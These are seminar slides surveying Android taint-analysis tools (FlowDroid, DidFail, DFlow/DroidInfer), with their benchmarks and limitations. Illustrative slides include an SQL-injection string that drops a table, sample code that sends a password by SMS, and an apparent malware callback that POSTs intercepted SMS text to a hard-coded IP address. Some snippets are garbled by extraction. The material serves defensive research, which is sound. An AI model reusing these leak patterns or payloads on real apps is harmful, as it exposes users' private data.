Android Application Taint Analysis Seminar in Distributed Computing

By Jinank Jain
M.Sc Computer Science
Introduction to Taint Analysis

- Taint analysis detects flow from *sensitive data sources* to *untrusted sinks*.
History of Taint Analysis

Operating Systems

Programming Languages

Web Browsers

Smart Phones like Android
Use Case of Taint Analysis

Without taint checking, a user could enter "foo'; DROP TABLE users;"
Strengths and Weakness of Taint Analysis

- **Strengths**
  - Scales Well
  - Can find bugs with high confidence for certain aspects like Buffer Overflow, SQL Injection Flows etc.

- **Weakness**
  - High numbers of false positives.
  - Security vulnerabilities such as authentication (OAuth 2.0) problems, are very difficult to find automatically
  - Frequently can't find configuration issues, since they are not represented in the code.
# Static V/S Dynamic Taint Analysis

<table>
<thead>
<tr>
<th>Static Taint Analysis</th>
<th>Dynamic Taint Analysis</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Statically</strong> analyze source code</td>
<td>Dynamic Debugger Approach</td>
</tr>
<tr>
<td><strong>Does not</strong> affect the execution time</td>
<td><strong>Slows</strong> the <strong>execution</strong> of the program</td>
</tr>
<tr>
<td><strong>Greater Code Coverage</strong></td>
<td>Typically <strong>lacks</strong> code <strong>coverage</strong></td>
</tr>
<tr>
<td>Requires <strong>single run</strong> to check complete code</td>
<td>Requires <strong>multiple test runs</strong> to reach appropriate code coverage</td>
</tr>
<tr>
<td><strong>Not easily detectable</strong> as code is analyzed statically</td>
<td><strong>Easily detectable</strong> by malicious app and could fool the analyzer</td>
</tr>
</tbody>
</table>
Why Android security is important?

Android has the largest market share and it is very common for the apps to disclose sensitive information on network.
Some insights about Sensitive Information

Big Security Flaw

Anyone gaining the IMEI of a device will be able to get Truecaller users’ personal information (including phone number, home address, mail box, gender, etc.) and tamper app settings without users’ consent, exposing them to malicious phishers.
Problem

- Sensitive Data Disclosures
- Leak private data through a dangerously broad set of permissions granted by the users.
Motivation

**Controlled at installation**

Private data

**SOURCES:**
- Phone number,
- Location, IMEI, etc.

**Untrusted parties**

**SINKS:**
- Network,
- Logs, etc.

unencrypted
General Problem with Static Analysis on Android Platform

- Abstraction of the Runtime Environment
- Analyzing XML and Manifest files
- Aliasing
Android Lifecycle

- Created
  - onCreate()
- Started
  - onStart()
  - onResume()
- Resumed
  - onPause()
  - onResume()
- Paused
  - onStop()
- Stopped
  - onDestroy()
XML and Manifest Files

- Lot of UI Related Stuff is present in Layout XML
- Callbacks are registered in the XML files
- While decompiling code all those XML files are lost
Aliasing describes a situation in which a data location in memory can be accessed through different symbolic names in the program.
Outline of Talk

- Flow Droid
- DidFail: “Flow Droid + Epicc”
- DFlow and DInfer
Flow Droid: Precise Context, Flow, Field, Object-sensitive and Lifecycle aware Taint Analysis for Android Apps
Some basic terminology

Context Sensitivity

```c
secret = 1;
public = 2;
s = f( secret );
x = f( public );
p = x;

int f( int x ) { return x + 42; }
```
Some basic terminology

Flow Sensitivity

```plaintext
secret = 1;
public = 2;
if secret == 1:
    public = 3;
else:
    public = 4;
```
Some basic terminology

Object Sensitivity

class A {
    String x;
    void set(String y) {
        this.x = y;
    }
    String get() {
        return this.x
    }
}

class B {
    A a = new A();
    A a1 = new A();
a.set("secret");
a1.set("public");
sendNetwork(a.get());
sendNetwork(a1.get());
Some basic terminology

Field Sensitivity
Contributions of FlowDroid

- **FlowDroid** the first fully context, field, object and flow-sensitive taint analysis
- Considers Android application lifecycle and UI widgets, and which features a novel approach
- **DroidBench**, a novel benchmark suite
- Ran **FlowDroid** over 500 apps from Google Play and about 1000 malware apps from the VirusShare project
Attacker Model

Attacker

Provides Malicious App

Malicious App

Leaks Data on Internet

Internet
public class LeakageApp extends Activity {
    EditText passwordText = 
        ( EditText ) findViewById(R.id.pwdString);
    String pwd = passwordText . toString () ;

    // Callback method in xml file
    public void sendMessage ( View view )
        Password pwd = user . getPwd ( ) ;
        String pwdString = pwd . getPassword ( ) ;
        String obfPwd = "" ;
        // must track primitives :
        for( char c : pwdString . toCharArray ( ) )
            obfPwd += c + "_" ; // String concat .

        String message = " User : " +
            user . getName ( ) + " | Pwd: " + obfPwd ;
        SmsManager sms = SmsManager . getDefault ( ) ;
        sms . sendTextMessage(" +44 020 7321 0905 ",
            25 null , message , null , null ) ;
}
Problems in Static Analysis of Android Apps

- Precise Modeling of Android Lifecycle
- Multiple Entry Points
- Asynchronously executing components
- Callbacks
Problem 1: Precise Modeling of Lifecycle

1. Activity launched
   - onCreate()
   - onStart()
   - onRestart()

2. Activity running
   - onResume()
   - onPause()
   - onStop()
   - onDestroy()

3. App process killed
   - Another activity comes into the foreground
   - User returns to the activity
   - User navigates to the activity

4. User navigates to the activity
   - Apps with higher priority need memory

5. The activity is finishing or being destroyed by the system
Problem 2: Multiple Entry Points

```java
package com.journaldev.java.examples1;

public class Test {
    public static void main(String args[]) {
        System.out.println("Hello World");
    }
}
```
Problem 3: Asynchronously executing components
Problem 4: Callbacks

- Register callbacks for various purposes like location update, UI interaction etc.
- FlowDroid does not assume any order on registration of callback
- Callback can be registered in two ways:
  - XML files of an activity and
  - Using well known calls to specific system methods
Figure 4: Overview of FlowDroid

Use SuSi Tool

source, sink and entry-point detection

- parse manifest file
- parse .dex files
- parse layout xmls

- generate main method
- build call graph
- perform taint analysis
FlowDroid’s Approach

- FlowDroid Analysis is based upon Soot (Android Code Analyser) and Heros (IFDS Solver)
- Build a dummy main method which take care of all the problems mentioned previously.
- Accurate and efficient alias search is crucial for context-sensitivity in conjunction with field-sensitivity
declare g: integer

program main
  begin
    declare x: integer
    read(x)
    call P(x)
  end

procedure P(value a: integer)
  begin
    if (a > 0) then
      read(g)
      a := a - g
      call P(a)
      print(a, g)
    fi
  end

Input

Output
Statements are examined in the reverse order and learn that z.g.f, a.g.f and b.f are aliases of x.f. The sink method takes b.f as input parameter, so there is a source-to-sink connection.
Experimental Evaluation

- How does FlowDroid compare to commercial taint analysis tools for Android in terms of precision and recall?

DroidBench

- Android specific test-suite, keeping in Android specific problems
- 39 hand-crafted Android apps
- Precision of 86% and recall 93% which is much better than AppScan Source and FortifySCA.

Precision = correct warning / (correct warning + false warning)
Recall = correct warning / (correct warning + missed leak)
Cont. Experimental Evaluation

- **Performance on InsecureBank**
  InsecureBank is basically a vulnerable App designed to test analysis tools
  - Analysis of App: 31 seconds
  - Detects all 7 data leaks
  - No false positive or false negatives

- **Performance on Real-World Applications**
  - Ran FlowDroid on 500 Google Play apps = no leaks
  - Again ran on 1000 known malware samples from Virus Share project = average 2 leaks
Cont. Experimental Evaluation

- **SecuriBench Micro**

  Intended for web-based applications

  The number of actual leaks reported (117/121) and false positives (9) gives good results for FlowDroid

<table>
<thead>
<tr>
<th>Test-case group</th>
<th>TP</th>
<th>FP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aliasing</td>
<td>11/11</td>
<td>0</td>
</tr>
<tr>
<td>Arrays</td>
<td>9/9</td>
<td>6</td>
</tr>
<tr>
<td>Basic</td>
<td>58/60</td>
<td>0</td>
</tr>
<tr>
<td>Collections</td>
<td>14/14</td>
<td>3</td>
</tr>
<tr>
<td>Datastructure</td>
<td>5/5</td>
<td>0</td>
</tr>
<tr>
<td>Factory</td>
<td>3/3</td>
<td>0</td>
</tr>
<tr>
<td>Inter</td>
<td>14/16</td>
<td>0</td>
</tr>
<tr>
<td>Pred</td>
<td>n/a</td>
<td>n/a</td>
</tr>
<tr>
<td>Reflection</td>
<td>n/a</td>
<td>n/a</td>
</tr>
<tr>
<td>Sanitizer</td>
<td>n/a</td>
<td>n/a</td>
</tr>
<tr>
<td>Session</td>
<td>3/3</td>
<td>0</td>
</tr>
<tr>
<td>StrongUpdates</td>
<td>0/0</td>
<td>0</td>
</tr>
<tr>
<td><strong>Sum</strong></td>
<td>117/121</td>
<td>9</td>
</tr>
</tbody>
</table>

Table 2: SecuriBench Micro test results
Limitations

- Resolves reflective calls only if their arguments are string constants
- Handles arrays imprecisely
- **Cannot detect Inter Application security leaks**
- **Cannot detect network leaks**
- **Big Flawed Assumption**:
  Threads execute in any arbitrary but sequential order and thus does not account for multiple threads
SOAP’ 14
Android Taint Flow Analysis for App Sets
Motivation

- **Detect malicious apps** that leak sensitive data
  - E.g., leak contact list to marketing company
  - “All or nothing” permission model

- Apps can **collude to leak data**
  - Evades precision detection if only analyzed individually

- **Build upon FlowDroid**
  - FlowDroid alone handles only intra-component flows.
  - Extend it to handle inter-app flows
Quick Recap about Android

- Android apps have four types of components
  - Activities *(main focus)*
  - Services
  - Content Providers
  - Broadcast Receivers

- **Intents** are messages to components
Contributions

- Developed a static analyzer called “DidFail”
  - Find flows of sensitive data across app boundaries

- Two phase analysis
  - Analyze each app in isolation
  - Use the result of Phase-1 analysis to determine inter-app flows

- Tested analyzer on two set of apps
Motivating Example

- App SendSMS.apk sends an intent (a message) to Echoer.apk which sends a result back.
Analysis Design

- **Phase 1**: Each app analyzed once, in isolation
  - Each intent is given a unique ID

- **Phase 2**: Analyze a set of apps
  - For each intent sent by a component, determine which components can receive the intent
  - Generate & solve taint flow equations.
Implementation: Phase 1

- **APK Transformer**
  - Assigns **unique Intent ID** to each call site of intent-sending methods
  - Uses **Soot** to read APK, modify code and write new APK
Implementation: Phase 1

- **FlowDroid Modifications**
  - Extract intent IDs inserted by APK Transformer, and include in output.
  - When sink is an intent, identify the sending components
Implementation: Phase 2

- **Phase 2**
  - Take the Phase 1 output
  - Generate and solve the data-flow equations
  - Outputs:
    - Directed graphs indicating information flow between sources, intent, intent results, and sinks
    - **Taintedness** of each sink
Use of Two-Phase Approach in App Stores

- An app store runs the phase-1 analysis for each app it has.
- When the user wants to download a new app, the stores run the phase-2 analysis and indicate new flows.
- Fast Response to user.
Limitations

- **Unsoundness**
  - Inherited from FlowDroid/Epicc
    - Native code, reflection etc

- **Imprecision**
  - Inherited from FlowDroid/Epicc
  - DidFail doesn’t consider permissions when matching intents
  - All intents received by a component are conflated together as a single source
ISSTA’ 15
Scalable and Precise Taint Analysis For Android
Basic Idea about Type System

A type system is a set of rules that assign a property called type to various constructs a computer program consists of, such as variables, expressions, functions or modules.

Main Purpose: Reduce possibilities of bug in computer program

For ex:    string a = string b
            string a ≠ int b
Motivating Example [From DroidBench]

```java
public class Data {
    String f;
    String get() { return f; }
    void set(String p) { f = p; }
}
public class FieldSensitivity3 {
    protected void onCreate(Bundle b) {
        Data dt = new Data();
        ...
        String sim = tm.getSimSerialNumber();
        dt.set(sim);
        String sg = dt.get();
        sms.sendTextMessage(..., sg, ...); // sink
    }
}
```
public class Data {
    String f;
    String get() { return f; }
    void set(String p) { f = p; }
}

public class FieldSensitivity {
    protected void onCreate(Bundle savedInstanceState) {
        tainted Data dt = new Data();
        tainted String sim = tm.getSimSerialNumber();
        dt.set(sim);
        tainted String sg = dt.get();
        sms.sendTextMessage(..., sg, ...); // sink
    }
}
Contributions

- **DFlow** context sensitive information flow type system
- **DroidInfer**: An inference algorithm for DFlow
- **CFL-Explain**: A CFL-reachability algorithm to explain type errors
- Implementation and evaluation
  - DroidBench, Contagio, Google Play Store
Inference and Checking Framework

- Build DFlow/DroidInfer on top of type inference and checking framework

- Frameworks infers the “best” typing
  - If inference succeeds, this verifies the absence of errors
  - Otherwise, this reveals errors in the program
DFlow

- **Type Qualifiers**
  - **tainted**: A variable $x$ is tainted, if there is flow from a sensitive source to $x$
  - **safe**: A variable $x$ is safe, if there is flow from $x$ to an untrusted sink
  - **poly**: The polymorphic qualifier, is interpreted as **tainted** in some contexts and as **safe** in other contexts

- **Subtyping hierarchy**:
  - **safe <: poly <: tainted**
Context Sensitivity (View Adaptation)

Concrete value of **poly** is interpreted by the viewpoint adaptation operation.

```java
class Util {
    poly String id(tainted Util this, poly String p) {
        return p;
    }
}
...
Util y = new Util();
tainted String src = ...;
safe String sink = ...;
tainted String srcId = y.id10(src);
safe String sinkId = y.id11(sink);
```
Inference Example

```java
public class Data {
    {poly, tainted} String f;
    {safe, poly, tainted} String get ({safe, poly, tainted} Data this) {
        return this.f;
    }
    void set ({safe, poly, tainted} Data this, {
        {safe, poly, tainted} String p) {
        this.f = p;
    }
}

public class FieldSensitivity3 {
    protected void onCreate(Bundle b) {
        {safe, poly, tainted} Data dt = new Data();
        {safe, poly, tainted} String sim =
            tm.getSerialNumber(); // source
dt.set(sim);
        {safe, poly, tainted} String sg = dt.get();
sms.sendTextMessage(..., sg, ...); // sink
    }
}
```
Inference Example

```java
public class Data {
    {poly, tainted} String f;
    {safe, poly, tainted} String get ({safe, poly, tainted} Data this) {
        return this.f;
    }
    void set({safe, poly, tainted} Data this,
             {safe, poly, tainted} String p) {
        this.f = p;
    }
}

public class FieldSensitivity3 {
    protected void onCreate(Bundle b) {
        {safe, poly, tainted} Data dt = new Data();
        {tainted} String sim =
            tm.getSerialNumber(); // source
dt.set(sim);
        {safe, poly, tainted} String sg = dt.get();
        sms.sendTextMessage(..., sg, ...); // sink
    }
}
```

Inference Example

```java
public class Data {
    {poly, tainted} String f;
    {safe, poly, tainted} String get ({safe, poly, tainted} Data this) {
        return this.f;
    }

    void set({safe, poly, tainted} Data this,
              {safe, poly, tainted} String p) {
        this.f = p;
    }
}

public class FieldSensitivity3 {
    protected void onCreate(Bundle b) {
        {safe, poly, tainted} Data dt = new Data();
        {tainted} String sim = tm.getSerialNumber(); // source
        dt.set(sim);
        {safe, poly, tainted} String sg = dt.get();
        sms.sendTextMessage(..., sg, ...); // sink
    }
}
```

safe
Inference Example

```java
public class Data {
    {tainted} String f;
    {tainted} String get ({tainted} Data this) {
        return this.f;
    }
    void set({safe, poly, tainted} Data this, {tainted} String p) {
        this.f = p;
    }
}

public class FieldSensitivity3 {
    protected void onCreate(Bundle b) {
        {safe, poly, tainted} Data dt = new Data();
        {tainted} String sim = tm.getSerialNumber(); // source
dt.set(sim);
        {safe, poly, tainted} String sg = dt.get();
sms.sendMessage(..., sg, ...); // sink
    }
}
```
Inference Example

```java
public class Data {
    {tainted} String f;
    {tainted} String get ({tainted} Data this) {
        return this.f;
    }
    void set({safe, poly, tainted} Data this, {tainted} String p) {
        this.f = p;
    }
}
public class FieldSensitivity3 {
    protected void onCreate(Bundle b) {
        {safe, poly, tainted} Data dt = new Data();
        {tainted} String sim = tm.getSerialNumber(); // source
dt.set(sim);
        {tainted} String sg = dt.get();
        sms.sendTextMessage(..., sg, ...); // sink
    }
}
```
Inference Example

```
public class Data {
    {tainted} String f;

    {tainted} String get ({tainted} Data this) {
        return this.f;
    }

    void set({safe, poly, tainted} Data this, {tainted} String p) {
        this.f = p;
    }
}

public class FieldSensitivity3 {
    protected void onCreate(Bundle b) {
        {safe, poly, tainted} Data dt = new {tainted} String s;
        tm.getSerialNumber();
        dt.set(s); {tainted} String sg = dt.get();
        sms.sendTextMessage(..., sg, ...); // sink
    }
}
```

Type Error

safe != tainted
CFL-Explain

- Type Error

\[ q \triangleright \texttt{ret}_{\text{getSimSerialNumber}} \{tainted\} <: \texttt{sim} \{\text{safe}\} \]

- Construct a dependency graph based on CFL-reachability

- Map a type error into a source-sink path in the graph
Android Specific Features

- Libraries
  - Flow through library method

- Multiple Entry Points and Callbacks
  - Connections among callback methods

- Inter-Component Communication (ICC)
  - Explicit or Implicit Intents
Libraries

- Insert annotations into Android Library
  - Source $\rightarrow \{\text{tainted}\}$
  - Sink $\rightarrow \{\text{safe}\}$
Callbacks

```java
public class SmsReceiver extends BroadcastReceiver {
    public void onReceive(Context c, Intent i) {
        for (int i = 0; i < pdusObj.length; i++) {
            SmsMessage msg = SmsMessage.createFromPdu(String secret); // source
            String body = msg.getMessageBody();
            sb.append(body);
        }
        Intent it = new Intent(c, TaskService.class);
        it.putExtra("data", sb.toString());
        startService(it);
    }

    public class TaskService extends Service {
        public void onStart(Intent it, int d) {
            HttpClient client = ....getHttpClient();
            HttpPost post = new HttpPost();
            post.setUri(URI.create("http://103.30.7.178/getMotion.htm"));
            Entity e = new UrlEncodedFormEntity(list, "UTF8");
            post.setEntity(e); // sink
        }
    }
}
```
Inter Component Communication (ICC)

- Android components interact through Intents

- Explicit Intents
  - Have an explicit target component
  - DroidInfer connects them using placeholders

- Implicit Intents
  - Do not have a target component
  - DroidInfer conservatively considers them as sinks
Implementation

- Built on top of Soot and Dexpler
Evaluation

- DroidBench 1.0
  - Recall: 96%, precision: 79%

- Contagio
  - Detect leaks from 19 out of total 22 apps

- Google Play Store
  - 144 free Android apps (top 30 free apps)
  - Maximal heap size: 2GB
  - Time: 139 sec/app on average
  - False positive rate: 15.7%
Results from Google Play Store

- Total: 144
- Containing Sources/Sinks: 1
- With Type Errors: 84 (58%)
- With Leaks to Network: 40 (48%)
Advantages Dflow over FlowDroid

- FlowDroid is computationally and memory intensive
- FlowDroid only reports log flows in apps and does not report any network flows (which are very important these days)
Conclusions

- DFlow and DroidInfer: context-sensitive information flow type system and inference
- CFL-reaching algorithm to explain type errors
- Effective handling of Android-specific features
- Implementation and evaluation
Current Trends

There has been an active research going in this field after these three pioneer approaches were present both in industry and academia:

Amandroid: A Precise and General Inter-component Data Flow Analysis Framework for Security Vetting of Android Apps

Fengguo Wei, Sankardas Roy, Xinming Ou, Robby
Department of Computing and Information Sciences
Kansas State University
{fgwei,sroy,xou,robbly}@ksu.edu

Composite Constant Propagation: Application to Android Inter-Component Communication Analysis

Damien Octeau\textsuperscript{1,2}, Daniel Luchau\textsuperscript{1,3}, Matthew Dering\textsuperscript{2}, Somesh Jha\textsuperscript{1}, and Patrick McDaniel\textsuperscript{1}

\textsuperscript{1}Department of Computer Sciences, University of Wisconsin
\textsuperscript{2}Department of Computer Science and Engineering, Pennsylvania State University
\textsuperscript{3}CyLab, Carnegie Mellon University

coteau@cs.wisc.edu, luchau@andrew.cmu.edu, dering@cs.psu.edu, jha@cs.wisc.edu, mcdaniel@cs.psu.edu

AppContext: Differentiating Malicious and Benign Mobile App Behaviors Using Context

Wei Yang\textsuperscript{*,} Xusheng Xiao\textsuperscript{1}, Benjamin Andow\textsuperscript{4}, Shihan Li\textsuperscript{*,} Tao Xie\textsuperscript{*,} William Enck\textsuperscript{4}
\textsuperscript{1}Department of Computer Science, University of Illinois at Urbana-Champaign, Urbana, IL.
\textsuperscript{4}NEC Laboratories America, Princeton, NJ
\textsuperscript{*}Department of Computer Science, North Carolina State University, Raleigh, NC

\{weiyang3, sihansl, taoxie\}@illinois.edu, \{xuxiao@nec-labs.com, \{benandow, whenick\}@ncsu.edu

GOOGLE BOUNCER
Android's Anti-Malware Tool
Some General Comments

- All of the approaches lack extensive test set.
- Not clear details about the benchmarking machine on which these tools were ran
- Except for DidFail, no one suggested any approach to deploy it or integrate with current Google Play Store
- Implicit assumption about a lot of prior knowledge like IFDS algorithm and CFL problem.
That's all Folks!
Questions?